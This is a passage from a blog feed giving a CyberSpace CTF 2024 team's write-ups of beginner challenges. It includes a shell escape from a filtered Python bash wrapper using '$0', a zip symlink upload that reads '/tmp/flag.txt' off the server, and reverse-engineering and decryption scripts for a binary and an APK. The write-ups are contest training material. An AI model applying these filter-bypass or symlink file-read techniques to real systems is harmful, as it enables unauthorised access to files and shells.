&lt;td&gt;beginner&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#zipzone"&gt;ZipZone&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;beginner&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;ha1fdan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#encryptor"&gt;encryptor&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;beginner&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;ha1fdan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#--"&gt;🅰️ 🦵 🌱&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;sponsor&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Feedback&lt;/td&gt;
&lt;td&gt;misc&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#flagprinter"&gt;flagprinter&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;crypto&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="score-over-time"&gt;Score over time:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/cyberspace24/Score_over_Time.png" alt="Score_over_Time.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sanity-check"&gt;Sanity Check&lt;/h3&gt;
&lt;p&gt;Join our Discord!&lt;/p&gt;
&lt;p&gt;&lt;a href="https://discord.csc.tf/"&gt;https://discord.csc.tf/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/cyberspace24/discord.png" alt="CyberSpace 2024 Discord"&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h1 id="cyberspace-ctf-2024">CyberSpace CTF 2024</h1>
<p><strong>Team:</strong> <a href="https://2024.csc.tf/teams/879">WhatIsThis</a></p>
<p><strong>Total Score:</strong> 351 points @ 262nd place</p>
<table>
	<thead>
			<tr>
					<th>User Name</th>
					<th>Score</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>H4N5</td>
					<td>251</td>
			</tr>
			<tr>
					<td>ha1fdan</td>
					<td>100</td>
			</tr>
	</tbody>
</table>
<h2 id="solves">Solves:</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
					<th>Value</th>
					<th>User</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#sanity-check">Sanity Check</a></td>
					<td>misc</td>
					<td>50</td>
					<td>H4N5</td>
			</tr>
			<tr>
					<td>key</td>
					<td>beginner</td>
					<td>50</td>
					<td>H4N5</td>
			</tr>
			<tr>
					<td><a href="#baby-pybash">Baby Pybash</a></td>
					<td>beginner</td>
					<td>50</td>
					<td>H4N5</td>
			</tr>
			<tr>
					<td><a href="#zipzone">ZipZone</a></td>
					<td>beginner</td>
					<td>50</td>
					<td>ha1fdan</td>
			</tr>
			<tr>
					<td><a href="#encryptor">encryptor</a></td>
					<td>beginner</td>
					<td>50</td>
					<td>ha1fdan</td>
			</tr>
			<tr>
					<td><a href="#--">🅰️ 🦵 🌱</a></td>
					<td>sponsor</td>
					<td>50</td>
					<td>H4N5</td>
			</tr>
			<tr>
					<td>Feedback</td>
					<td>misc</td>
					<td>1</td>
					<td>H4N5</td>
			</tr>
			<tr>
					<td><a href="#flagprinter">flagprinter</a></td>
					<td>crypto</td>
					<td>50</td>
					<td>H4N5</td>
			</tr>
	</tbody>
</table>
<h2 id="score-over-time">Score over time:</h2>
<p><img src="/cyberspace24/Score_over_Time.png" alt="Score_over_Time.png"></p>
<hr>
<h3 id="sanity-check">Sanity Check</h3>
<p>Join our Discord!</p>
<p><a href="https://discord.csc.tf/">https://discord.csc.tf/</a></p>
<p><img src="/cyberspace24/discord.png" alt="CyberSpace 2024 Discord"></p>
<p>Flag: <code>CSCTF{54n17y_5ucc355fully_ch3ck3d!}</code></p>
<hr>
<h3 id="key">key</h3>
<p>GDB is cool! Ghidra or IDA is helpful</p>
<p>File(s): <a href="/cyberspace24/beginner/key">key</a></p>
<p><strong>Solution:</strong> Using <a href="https://dogbolt.org">https://dogbolt.org</a> we can open the <code>key</code> file using angr. We find the variables v3 to v34 wich all contains a decimal number. We can use this information to write a script to find the key.</p>
<ul>
<li><strong>Original Solution code (C#):</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Program</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">static</span> <span class="k">void</span> <span class="n">Main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int</span><span class="p">[]</span> <span class="n">v6</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">[]</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="m">67</span><span class="p">,</span> <span class="m">164</span><span class="p">,</span> <span class="m">65</span><span class="p">,</span> <span class="m">174</span><span class="p">,</span> <span class="m">66</span><span class="p">,</span> <span class="m">252</span><span class="p">,</span> <span class="m">115</span><span class="p">,</span> <span class="m">176</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="m">111</span><span class="p">,</span> <span class="m">114</span><span class="p">,</span> <span class="m">94</span><span class="p">,</span> <span class="m">168</span><span class="p">,</span> <span class="m">101</span><span class="p">,</span> <span class="m">242</span><span class="p">,</span> <span class="m">81</span><span class="p">,</span> <span class="m">206</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="m">32</span><span class="p">,</span> <span class="m">188</span><span class="p">,</span> <span class="m">96</span><span class="p">,</span> <span class="m">164</span><span class="p">,</span> <span class="m">109</span><span class="p">,</span> <span class="m">70</span><span class="p">,</span> <span class="m">33</span><span class="p">,</span> <span class="m">64</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="m">32</span><span class="p">,</span> <span class="m">90</span><span class="p">,</span> <span class="m">44</span><span class="p">,</span> <span class="m">82</span><span class="p">,</span> <span class="m">45</span><span class="p">,</span> <span class="m">94</span><span class="p">,</span> <span class="m">45</span><span class="p">,</span> <span class="m">196</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="kt">char</span><span class="p">[]</span> <span class="n">s</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="m">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="m">32</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="p">%</span> <span class="m">2</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)(</span><span class="n">v6</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)((</span><span class="n">v6</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">/</span> <span class="m">2</span><span class="p">)</span> <span class="p">^</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="kt">string</span> <span class="n">key</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">string</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">&#34;The correct key is: &#34;</span> <span class="p">+</span> <span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li><strong>Solution code rewritten in Python:</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">v6</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mi">67</span><span class="p">,</span> <span class="mi">164</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">174</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">252</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">176</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">168</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">242</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">206</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">32</span><span class="p">,</span> <span class="mi">188</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">164</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">32</span><span class="p">,</span> <span class="mi">90</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">82</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">196</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;&#39;</span><span class="p">]</span> <span class="o">*</span> <span class="mi">32</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">v6</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">v6</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>CSCTF{u_g0T_it_h0OrAy6778462123}</code></p>
<hr>
<h3 id="baby-pybash">Baby Pybash</h3>
<p>I made a very secure bash terminal in Python. I don&rsquo;t think anyone can break in!</p>
<p><code>nc baby-pybash.challs.csc.tf 1337</code></p>
<p>File(s): <a href="/cyberspace24/beginner/handout_baby_pybash.zip">handout_baby_pybash.zip</a></p>
<p><strong>Solution:</strong> The script uses a regular expression to block most characters, but it allows <code>$</code> and <code>0</code>. By combining these, we get <code>$0</code>, which refers to the first argument of the initial command (bash). This allows us to invoke a bash shell and execute <code>cat flag.txt</code> to retrieve the flag.</p>
<pre tabindex="0"><code>== proof-of-work: disabled ==
Welcome to Baby PyBash!

Enter a bash command: $0
cat flag.txt
CSCTF{b4sH_w1z4rd_0r_ju$t_ch33s3_m4st3r?_c1d4eeb2a}
</code></pre><p>Flag: <code>CSCTF{b4sH_w1z4rd_0r_ju$t_ch33s3_m4st3r?_c1d4eeb2a}</code></p>
<hr>
<h3 id="zipzone">ZipZone</h3>
<p>I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far.</p>
<p><a href="https://zipzone-web.challs.csc.tf/">https://zipzone-web.challs.csc.tf/</a></p>
<p>File(s): <a href="/cyberspace24/beginner/handout_zipzone.zip">handout_zipzone.zip</a></p>
<p><strong>Solution:</strong> The app.py uses subprocess.call to unzip our uploaded zip file, therefore we can create a symlink to /tmp/flag.txt using <code>ln -s /tmp/flag.txt flag.txt</code> and zip the symlink using <code>zip --symlinks exploit.zip flag.txt</code>. After uploading the zip file, we get: <code>https://zipzone-web.challs.csc.tf/files/a58a980e-aeb8-4c33-888d-328280bb463f</code>; append <code>/flag.txt</code> to the url and we get the content of <code>/tmp/flag.txt</code>.</p>
<p>Flag: <code>CSCTF{5yml1nk5_4r3_w31rd}</code></p>
<hr>
<h3 id="encryptor">encryptor</h3>
<p>My friend sent me this app with an encoded flag, but he forgot to implement the decryption algorithm! Can you help me out?</p>
<p>File(s): <a href="/cyberspace24/beginner/encryptor.apk">encryptor.apk</a></p>
<p><strong>Solution:</strong> Opening the file with Archive Manager we find <code>/assets/enc.txt</code> which contains encrypted flag <code>OIkZTMehxXAvICdQSusoDP6Hn56nDiwfGxt7w/Oia4oxWJE3NVByYnOMbqTuhXKcgg50DmVpudg=</code>. By using <a href="https://www.decompiler.com">https://www.decompiler.com</a> we can decompile the apk and under <code>souces/com/example/encrypter/MainActivity.java</code>. this class contains the encryption algorithm.</p>
<p>We can see a base64 string being decoded:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">getKey</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="p">(</span><span class="n">Base64</span><span class="p">.</span><span class="na">decode</span><span class="p">(</span><span class="s">&#34;ZW5jcnlwdG9yZW5jcnlwdG9y&#34;</span><span class="p">.</span><span class="na">getBytes</span><span class="p">(),</span><span class="w"> </span><span class="n">0</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>Decoding the base64 string gives us the key <code>encryptorencryptor</code>.</p>
<p>We can also find the encryption function:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">encryptText</span><span class="p">(</span><span class="n">String</span><span class="w"> </span><span class="n">str</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">InvalidKeyException</span><span class="p">,</span><span class="w"> </span><span class="n">UnsupportedEncodingException</span><span class="p">,</span><span class="w"> </span><span class="n">NoSuchPaddingException</span><span class="p">,</span><span class="w"> </span><span class="n">NoSuchAlgorithmException</span><span class="p">,</span><span class="w"> </span><span class="n">IllegalBlockSizeException</span><span class="p">,</span><span class="w"> </span><span class="n">BadPaddingException</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">SecretKeySpec</span><span class="w"> </span><span class="n">secretKeySpec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">SecretKeySpec</span><span class="p">(</span><span class="n">getKey</span><span class="p">().</span><span class="na">getBytes</span><span class="p">(</span><span class="s">&#34;UTF-8&#34;</span><span class="p">),</span><span class="w"> </span><span class="s">&#34;Blowfish&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">Cipher</span><span class="w"> </span><span class="n">instance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Cipher</span><span class="p">.</span><span class="na">getInstance</span><span class="p">(</span><span class="s">&#34;Blowfish&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">instance</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">null</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="n">instance</span><span class="p">.</span><span class="na">init</span><span class="p">(</span><span class="n">1</span><span class="p">,</span><span class="w"> </span><span class="n">secretKeySpec</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">            </span><span class="k">return</span><span class="w"> </span><span class="n">Build</span><span class="p">.</span><span class="na">VERSION</span><span class="p">.</span><span class="na">SDK_INT</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="n">26</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="p">(</span><span class="n">Base64</span><span class="p">.</span><span class="na">encode</span><span class="p">(</span><span class="n">instance</span><span class="p">.</span><span class="na">doFinal</span><span class="p">(</span><span class="n">str</span><span class="p">.</span><span class="na">getBytes</span><span class="p">(</span><span class="s">&#34;UTF-8&#34;</span><span class="p">)),</span><span class="w"> </span><span class="n">0</span><span class="p">))</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="s">&#34;&#34;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">throw</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Error</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>The encryption happends using Blowfish, we can write a simple script to decrypt our flag:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">Blowfish</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_key</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">encoded_key</span> <span class="o">=</span> <span class="s2">&#34;ZW5jcnlwdG9yZW5jcnlwdG9y&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encoded_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">encrypted_text</span> <span class="o">=</span> <span class="s2">&#34;OIkZTMehxXAvICdQSusoDP6Hn56nDiwfGxt7w/Oia4oxWJE3NVByYnOMbqTuhXKcgg50DmVpudg=&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="n">Blowfish</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">get_key</span><span class="p">(),</span> <span class="n">Blowfish</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">encrypted_bytes</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encrypted_text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">decrypted_bytes</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">padding_length</span> <span class="o">=</span> <span class="n">decrypted_bytes</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">decrypted_text</span> <span class="o">=</span> <span class="n">decrypted_bytes</span><span class="p">[:</span><span class="o">-</span><span class="n">padding_length</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decrypted_text</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>CSCTF{3ncrypt0r_15nt_s4Fe_w1th_4n_h4Rdc0d3D_k3y!}</code></p>
<hr>
<h3 id="--">🅰️ 🦵 🌱</h3>
<p>There&rsquo;s a bug bounty program on Intigriti I wanted to revisit. The problem is I only speak emojis these days and completely forgot the name of the program! Can you remind me?</p>
<p>Emojis: 🅰️ 🦵 🌱</p>
<p><a href="https://go.intigriti.com/programs/">https://go.intigriti.com/programs/</a></p>
<p>Note: Flag format is <code>CSCTF{name_of_program}</code></p>
<p><strong>Solution:</strong> The emojis (<code>🅰️ 🦵 🌱</code>) can be broken down as follows: the first emoji represents the letter <strong>A</strong>, the second one is a <strong>leg</strong>, and the last one could stand for <strong>plant</strong>, <strong>seed</strong>, or <strong>grow</strong>. Putting these together, we can search the Programs page and find the word <strong>Allegro</strong>: <strong>A</strong> + <strong>leg</strong> + <strong>grow</strong>.</p>
<p>Flag: <code>CSCTF{Allegro}</code></p>
<hr>
<h3 id="flagprinter">flagprinter</h3>
<p>Instead of a challenge, here&rsquo;s a solution. Hope you have plenty of RAM!</p>
<p>File(s): <a href="/cyberspace24/crypto/chall.py">chall.py</a>, <a href="/cyberspace24/crypto/out.py">out.py</a></p>
<p><strong>Solution:</strong> The original code attempted to build a massive sequence, which caused it to run out of memory. The optimized solution bypasses this issue by using a recursive function to calculate only the specific values needed at each step, rather than storing the entire sequence. This reduces memory usage significantly. By calculating values as they are needed, the program avoids crashing and successfully decrypts the flag. This approach allows us to handle much larger data without running into memory limitations, making the decryption process both efficient and effective.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">out</span> <span class="kn">import</span> <span class="n">enc</span><span class="p">,</span> <span class="n">R</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">prod</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_a_value</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">depth</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">depth</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="o">**</span><span class="p">(</span><span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>  <span class="c1"># First third</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">get_a_value</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">elif</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="o">*</span><span class="mi">3</span><span class="o">**</span><span class="p">(</span><span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>  <span class="c1"># Second third</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">get_a_value</span><span class="p">(</span><span class="n">index</span> <span class="o">-</span> <span class="mi">3</span><span class="o">**</span><span class="p">(</span><span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>  <span class="c1"># Third third</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">get_a_value</span><span class="p">(</span><span class="n">index</span> <span class="o">-</span> <span class="mi">2</span><span class="o">*</span><span class="mi">3</span><span class="o">**</span><span class="p">(</span><span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="n">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">calculate_required_a_values</span><span class="p">(</span><span class="n">R_indices</span><span class="p">,</span> <span class="n">depth</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="n">get_a_value</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">depth</span><span class="p">)</span> <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="n">R_indices</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">depth</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Estimate the required depth of recursion based on the number of iterations</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="mi">3</span><span class="o">**</span><span class="n">depth</span> <span class="o">&lt;</span> <span class="nb">max</span><span class="p">(</span><span class="nb">max</span><span class="p">(</span><span class="n">R</span><span class="p">)</span> <span class="k">for</span> <span class="n">R</span> <span class="ow">in</span> <span class="n">R</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">depth</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">depth</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">355</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">5</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">required_values</span> <span class="o">=</span> <span class="n">calculate_required_a_values</span><span class="p">(</span><span class="n">R</span><span class="p">[</span><span class="n">i</span><span class="o">//</span><span class="mi">5</span><span class="p">],</span> <span class="n">depth</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">flag</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">enc</span><span class="p">[</span><span class="n">i</span><span class="o">//</span><span class="mi">5</span><span class="p">]</span> <span class="o">^</span> <span class="n">prod</span><span class="p">(</span><span class="n">required_values</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><p>Solution file: <a href="/cyberspace24/crypto/sol.py">sol.py</a></p>
<p>Flag: <code>CSCTF{2441d2f22fa1d5b9fc0a850dcfbbccf608cafbc22a1beaae0ac328ff6d218781}</code></p>
]]></content></item><item><title>Danmark I Minecraft</title><link>https://ha1fdan.xyz/en/posts/danmark-i-minecraft/</link><pubDate>Sun, 04 Aug 2024 18:47:44 +0200</pubDate><guid>https://ha1fdan.xyz/en/posts/danmark-i-minecraft/</guid><description>&lt;h2 id="danmark-i-minecraft"&gt;Danmark I Minecraft&lt;/h2&gt;
